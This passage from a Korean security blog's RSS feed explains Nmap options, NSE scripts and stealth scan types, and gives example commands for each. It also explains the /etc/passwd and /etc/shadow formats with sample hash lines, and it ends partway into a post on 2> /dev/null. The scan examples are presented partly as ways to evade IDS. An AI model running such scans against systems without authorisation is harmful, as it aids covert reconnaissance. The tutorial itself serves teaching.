&lt;td style=&quot;width: 50%;&quot;&gt;고급 탐지 : OS + 버전 + 스크립트 + traceroute 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-Pn&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;Ping 생략(비활성 호스트도 스캔 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-n&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;DNS 조회 생략(속도 향상)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;-R&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;강제 DNS 조회 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;--traceroute&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;대상까지의 라우팅 경로 추적&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Nmap 스크립트 엔진(NSE)&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.697674%;&quot;&gt;옵션&lt;/td&gt;
&lt;td style=&quot;width: 74.302326%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.697674%;&quot;&gt;--script=&amp;lt;name&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 74.302326%;&quot;&gt;특정 NSE 스크립트 실행(ex. --script=http-title)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.697674%;&quot;&gt;--script-vuln&lt;/td&gt;
&lt;td style=&quot;width: 74.302326%;&quot;&gt;취약점 탐지용 스크립트 모음 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.697674%;&quot;&gt;--script-args=&amp;lt;args&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 74.302326%;&quot;&gt;스크립트에 인자 전달(ex. 로그인 정보 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;스텔스 스캔&amp;nbsp;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기본 원리(TCP 3-Way Handshake)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 TCP 연결은 다음의 3단계를 거칩니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;클라이언트 -&amp;gt; 서버 : SYN&lt;/li&gt;
&lt;li&gt;서버 -&amp;gt; 클라이언트 : SYN-ACK&lt;/li&gt;
&lt;li&gt;클라이언트 -&amp;gt; 서버 : ACK&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;스텔스 스캔 방식(SYN Scan)&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;클라이언트 -&amp;gt; 서버 : SYN&lt;/li&gt;
&lt;li&gt;서버 -&amp;gt; 클라이언트:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SYN-ACK -&amp;gt; 포트 열림 ( Open)&lt;/li&gt;
&lt;li&gt;RST -&amp;gt; 포트 닫힘( Closed)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;클라이언트 -&amp;gt; 서버 :
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;응답없이 RST를 보내 세션을 종료(세션 완성 안함)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;즉, 연결을 완전히 수립하지 않기 때문에 흔적이 덜 남고 IDS나 로그 시스템에서 정상적인 연결로 보이지 않을 수 있음&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;주요 스텔스 스캔 옵션&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.860465%;&quot;&gt;옵션&lt;/td&gt;
&lt;td style=&quot;width: 14.651163%;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 73.488372%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.860465%;&quot;&gt;-sS&lt;/td&gt;
&lt;td style=&quot;width: 14.651163%;&quot;&gt;SYN 스캔&lt;/td&gt;
&lt;td style=&quot;width: 73.488372%;&quot;&gt;가장 일반적인 스텔스 스캔 방식. TCP 3-way handshake의 절반만 수행하여 포트 상태 확인&lt;br /&gt;빠르고 탐지 회피 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.860465%;&quot;&gt;-sF&lt;/td&gt;
&lt;td style=&quot;width: 14.651163%;&quot;&gt;FIN 스캔&lt;/td&gt;
&lt;td style=&quot;width: 73.488372%;&quot;&gt;TCP FIIN 플래그만 설정해 포트 상태를 확인&lt;br /&gt;비정상적인 플래그 조합으로 IDS 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.860465%;&quot;&gt;-sN&lt;/td&gt;
&lt;td style=&quot;width: 14.651163%;&quot;&gt;NULL 스캔&lt;/td&gt;
&lt;td style=&quot;width: 73.488372%;&quot;&gt;TCP 플래그 없이 전송&lt;br /&gt;일부 시스템에서 포트가 열려 있으면 무응답, 닫혀있으면 RST 반환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.860465%;&quot;&gt;-sX&lt;/td&gt;
&lt;td style=&quot;width: 14.651163%;&quot;&gt;Xmas 스캔&lt;/td&gt;
&lt;td style=&quot;width: 73.488372%;&quot;&gt;FIN, URG, PSH 플래그를 동시에 설정&lt;br /&gt;크리스마스트리처럼 켜진 플래그, 방화벽/IDS 우회용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 11.860465%;&quot;&gt;-sA&lt;/td&gt;
&lt;td style=&quot;width: 14.651163%;&quot;&gt;&amp;nbsp;ACK 스캔&lt;/td&gt;
&lt;td style=&quot;width: 73.488372%;&quot;&gt;포트 열림 여부보다는 방화벽 설정 확인용&lt;br /&gt;포트상태가 아니라 필터링 여부 판별에 사용됨&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1749189185978&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sS 192.168.0.1          # SYN 스텔스 스캔
nmap -sF 192.168.0.1          # FIN 스캔
nmap -sN 192.168.0.1          # NULL 스캔
nmap -sX 192.168.0.1          # Xmas 스캔
nmap -sA 192.168.0.1          # ACK 스캔&lt;/code&gt;&lt;/pre&gt;</description>
      <category>정보보호</category>
      <category>nmap</category>
      <category>스텔스스캔</category>
      <category>포트스캐닝</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/54</guid>
      <comments>https://defcon.tistory.com/54#entry54comment</comments>
      <pubDate>Fri, 6 Jun 2025 14:58:00 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 /etc/passwd 파일 및 /etc/shadow 파일에 대한 개념</title>
      <link>https://defcon.tistory.com/53</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;/etc/passwd&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/passwd 파일은 리눅스 및 유닉스 계열 운영체제에서 사용자 계정정보를 저장하는 텍스트파일입니다. 각 사용자의 로그인 정보를 포함하고 있으며 시스템이 로그인 요청을 처리할 때 참고합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;파일 형식&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일은 콜론으로 구분된 여러 필드로 구성되어 있다. 각 줄을 하나의 사용자 계정을 나타냅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748910137926&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;username:password:UID:GID:comment:home_directory:shell&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;각 필드에 대한 설명&lt;/b&gt;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;필드&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;username&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;로그인 이름(root, user1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;password&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;암호정보(보통 x로 표시되고, 진짜 해시값은 /etc/shadow에 저장됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;UID&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;사용자 ID(숫자, root는 보통 0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;GID&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;기본 그룹 ID (숫자, /etc/group 파일 참조)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;comment&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;사요자 정보(이름, 설명 등 - GECOS 필드라고도 함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;home_directory&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;사용자의 홈 디렉토리 경로(ex: /home/user1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 28.604651%;&quot;&gt;shell&lt;/td&gt;
&lt;td style=&quot;width: 71.395349%;&quot;&gt;로그인 시 실행되는 shell( /bin/bash, /sbin/nologin)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748910326396&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
user1:x:1000:1000:홍길동:/home/user1:/bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;주요 사항&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 파일은 모든 사용자가 읽을 수 있다(644 권한)&lt;/li&gt;
&lt;li&gt;password &amp;nbsp;필드는 보안을 위해 x로 대체되며, 실제 암호 해시값은 /etc/shadow에 저장됩니다.&lt;/li&gt;
&lt;li&gt;UID가 0이면 슈퍼 유저(root) 권한을 가집니다.&lt;/li&gt;
&lt;li&gt;UID가 1000 이상이면 일반 사용자 계정입니다.&lt;/li&gt;
&lt;li&gt;시스템 계정(ex. daemon, bin, nobody)은 로그인하지 못하게 보통 /usr/sbin/nologin 셸을 사용합니다.&lt;/li&gt;
&lt;li&gt;/etc/passwd 파일 자체는 암호를 포함하지 않지만 여전히 조작될 경우 심각한 보안 위협이 됩니다.&lt;/li&gt;
&lt;li&gt;실수로 수정하지 않도록 vipw 명령어를 사용하여 안전하게 편집하여야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;/etc/shadow&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/shadow 파일은 리눅스 및 유닉스 시스템에서 사용자 계정의 암호(비밀번호) 정보를 저장하는 보안파일입니다. 이 파일은 /etc/passwd 보다 더 민감한 정ㅂ모를 포함하므로 접근이 제한됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/etc/shadow 파일 개요&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;목적 : 각 사용자 계정의 암호 해시값 및 만료 정보를 저장&lt;/li&gt;
&lt;li&gt;권한 : 보통 -rw-r-----, 소유자 root, 그룹 shadow&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748910809314&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ls -l /etc/shadow
-rw-r----- 1 root shadow 1234 Jun  3 10:00 /etc/shadow&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;파일 형식&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콜론으로 구분된 필드로 구성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1748910837297&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;username:password:last_change:min:max:warn:inactive:expire:reserved&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 180px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;필드 번호&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;필드명&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;username&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;&amp;nbsp;사용자 이름(ex. user1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;password&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;암호 해시값, 또는 계정 상태&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;last_change&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;마지막으로 비밀번호가 변경된 날짜(1970-01-01부터 경과한 일수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;min&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;비밀번호 변경 최소 일수(이전 후 최소 며칠 뒤에 변경 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;max&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;비밀번호 변경 최대 일수(이후 비밀번호 만료됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;warn&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;만료 전 경고 시작일수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;inactive&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;만료 후 비활성화되기까지의 유예기간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;8&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;expire&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;계정 만료일(1970-01-01부터의 일수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 9.96124%; height: 18px;&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;width: 19.263566%; height: 18px;&quot;&gt;reserved&lt;/td&gt;
&lt;td style=&quot;width: 70.775193%; height: 18px;&quot;&gt;예약 필드(보통 비어 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748911046719&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;user1:$6$sdf9SdFj2K$1dUeJz...:19123:0:99999:7:::
daemon:*:19000:0:99999:7:::&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;password 필드의 포맷&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1748911775465&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$id$salt$hashed_password&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.209302%;&quot;&gt;구성 요소&lt;/td&gt;
&lt;td style=&quot;width: 72.790698%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.209302%;&quot;&gt;$id&lt;/td&gt;
&lt;td style=&quot;width: 72.790698%;&quot;&gt;사용된 해시 알고리즘을 나타내는 식별자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.209302%;&quot;&gt;salt&lt;/td&gt;
&lt;td style=&quot;width: 72.790698%;&quot;&gt;해시 강화용 랜덤 문자열(해시값을 고유하게 만듦)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27.209302%;&quot;&gt;hashed_password&lt;/td&gt;
&lt;td style=&quot;width: 72.790698%;&quot;&gt;실제 비밀번호가 salt와 함께 해시된 값&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고리즘 식별자($id)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.821705%;&quot;&gt;ID&lt;/td&gt;
&lt;td style=&quot;width: 16.356589%;&quot;&gt;알고리즘&lt;/td&gt;
&lt;td style=&quot;width: 61.821705%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.821705%;&quot;&gt;$1$&lt;/td&gt;
&lt;td style=&quot;width: 16.356589%;&quot;&gt;MD5&lt;/td&gt;
&lt;td style=&quot;width: 61.821705%;&quot;&gt;오래된 방식, 보안 취약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.821705%;&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #333333; text-align: start;&quot;&gt;$2a$, &lt;span style=&quot;background-color: #efefef; color: #333333; text-align: start;&quot;&gt;$2b$, &lt;span style=&quot;background-color: #efefef; color: #333333; text-align: start;&quot;&gt;$2y$&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 16.356589%;&quot;&gt;Blowfish(bcrypt)&lt;/td&gt;
&lt;td style=&quot;width: 61.821705%;&quot;&gt;일부 시스템에서 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.821705%;&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #333333; text-align: start;&quot;&gt;$5$&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 16.356589%;&quot;&gt;SHA-256&lt;/td&gt;
&lt;td style=&quot;width: 61.821705%;&quot;&gt;보안성 중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.821705%;&quot;&gt;&lt;span style=&quot;background-color: #efefef; color: #333333; text-align: start;&quot;&gt;$6$&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 16.356589%;&quot;&gt;SHA-512&lt;/td&gt;
&lt;td style=&quot;width: 61.821705%;&quot;&gt;리눅스에서 기본으로 권장. 보안성 높음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;대부분의 현대 리눅스 배포판은 SHA-512($6$)를 기본으로 사용합니다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1748912030774&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$6$G7WvEtgL$XSnX0MZKmWR5fb7wgy...JELN9EPsqxv1h3ujA19nHDnI3A1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;$6$ -&amp;gt; SHA-512 알고리즘&lt;/li&gt;
&lt;li&gt;G7WvEtgL -&amp;gt; salt (8자리 이상, 시스템에 따라 다름)&lt;/li&gt;
&lt;li&gt;XSnX0MZK... -&amp;gt; SHA-512 해시 결과&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;pwconv, pwunconv 명령어&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwconv, pwunconv는 리눅스에서 비밀번호 정보를 /etc/passwd와 /etc/shadow 사이에서 동기화하거나 변환하는데 사용되는 명령어입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;pwconv&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/etc/passwd -&amp;gt; /etc/shadow로 비밀번호 정보를 이동&lt;/li&gt;
&lt;li&gt;/etc/passwd에 저장된 암호필드를 &amp;nbsp;x로 변경&lt;/li&gt;
&lt;li&gt;/etc/shadow 파일을 생성하거나 갱신&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;pwunconv&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/etc/shadow에 있던 암호 해시값을 /etc/passwd로 다시 이동&lt;/li&gt;
&lt;li&gt;/etc/shadow 시스템 비활성화&lt;/li&gt;
&lt;li&gt;Shadow password system을 비활성화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>/etc/passwd</category>
      <category>/etc/shadow</category>
      <category>pwconv</category>
      <category>pwunconv</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/53</guid>
      <comments>https://defcon.tistory.com/53#entry53comment</comments>
      <pubDate>Tue, 3 Jun 2025 09:55:49 +0900</pubDate>
    </item>
    <item>
      <title>2&amp;gt; /dev/null 쉘 명령어의 의미</title>
      <link>https://defcon.tistory.com/52</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2&amp;gt; /dev/null은 유닉스/리눅스 쉘에서 자주 사용되는 리디렉션(Redirection) 문법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
